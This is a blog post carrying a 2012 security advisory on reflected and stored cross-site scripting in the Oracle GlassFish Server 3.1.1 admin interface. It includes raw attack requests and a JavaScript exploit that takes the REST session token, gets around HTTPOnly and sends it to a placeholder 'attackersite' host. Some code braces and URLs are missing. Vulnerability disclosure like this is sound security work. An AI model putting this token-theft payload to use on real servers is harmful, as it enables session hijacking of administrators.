Thursday, 19 April 2012

Oracle GlassFish Server - Multiple Cross Site Scripting Vulnerabilities

Following disclosure of Oracle bugs, here is another bug found in Oracle GlassFish Server 3.1.1. The interesting part of this advisory is the exploit. When looking at the features of the Oracle GlassFish Server, I have noticed that with a XSS it would be possible to steal the session token and bypass HTTPOnly protection. I have found this condition to be true if a user is authenticated to the REST interface, which does not have the same security controls of the main web administrative interface. Quite an interesting point to keep in consideration when testing applications that come with a standard interface and a REST interface as well.


Vendor Site: Oracle (
Date: April, 19th 2012 – CVE 2012-0551
Affected Software: Oracle GlassFish Server 3.1.1 (build 12)
Researcher: Roberto Suggi Liverani

Description has discovered that components of the Oracle GlassFish Server administrative web
interface are vulnerable to both reflected  and stored  Cross Site Scripting attacks. All pages where Cross Site
Scripting vulnerabilities were discovered require authentication.

Reflected Cross Site Scripting 

Reflected Cross Site Scripting was discovered in multiple parts of the application.
The table below details where Reflected Cross Site Scripting was detected and which parameters are vulnerable:

Page Affected Method Variable

 GET  appName

 GET  configName
** Works in Internet Explorer (content sniffing)

 GET  key

Stored Cross Site Scripting

The table below details where Stored Cross Site Scripting was detected and which parameters are vulnerable:

Page Affected Rendered Page Method Variable
 /management/domain/create-password-alias  /management/

 POST  id
** requires a valid javax.faces.ViewState


 POST  propertyForm%3

Stored Cross Site Scripting - POST Request – REST Interface

POST /management/domain/create-password-alias HTTP/1.1 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 126 

Stored Cross Site Scripting - POST Request – Standard Web Interface

POST /common/appServer/pswdAliasNew.jsf HTTP/1.1 
Faces-Request: partial/ajax 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 
Content-Length: 889 
Cookie: JSESSIONID=146c28566608602e3a73ab65f07c; treeForm_tree-hi=treeForm:tree:nodes 


These vulnerabilities can be exploited in several ways. One example is to include an external JavaScript file,
such as a JavaScript hook file provided by BeEF, the browser exploitation framework. In this particular case, it
is possible to steal the authentication token through the REST interface, bypassing the HTTPOnly protection adopted for the JSESSIONID token in the standard web administrative interface.

Bypassing HTTPOnly protection and token theft via REST interface

There is a feature in Oracle Glassfish Server which allows using cookie as a session management mechanism instead of Basic Authentication within the REST interface.

This feature can be misused using a Cross Site Scripting vulnerability. An exploit scenario for both stored and
reflected Cross Site Scripting vulnerabilities would be to inject a JavaScript payload which performs an XMLHTTPRequest (XHR) request to retrieve a valid session token via the REST interface.

The following exploit can be used to retrieve and steal a session token in case a user is authenticated to the REST Interface, using Basic Authentication. The token can only be used with a cookie named gfresttoken within the REST interface.

Bypassing HTTPOnly and Stealing Session Token
function retrieveToken() 
var xmlhttp; 
if (window.XMLHttpRequest) 
  {// code for IE7+, Firefox, Chrome, Opera, Safari 
  xmlhttp=new XMLHttpRequest(); 
  {// code for IE6, IE5 
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 
  if (xmlhttp.readyState==4 && xmlhttp.status==200) 
return xmlhttp; 
function stealToken(a) 
jsonObj = JSON.parse(a.responseText); // token retrieved and can be sent to attacker 
a = document.createElement("IMG"); 
a.setAttribute('src', 'http://attackersite/?token='+jsonObj.extraProperties.token); 
document.body.appendChild(a); // time to grab the token 
// this exploit works with browsers that have native JSON support 
var a = retrieveToken();// perform XHR to retrieve token 
setTimeout('stealToken(a);',12000); // needs time to load the token, then sends it to 
// attacker then needs to set a cookie named gfresttoken with the token value obtained. The 
cookie has to be valid for the domain/IP address of the target Oracle Glassfish Server


Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory -
April 2012. recommends applying the latest patch provided by the vendor.
For more information, visit:

No comments:

Post a Comment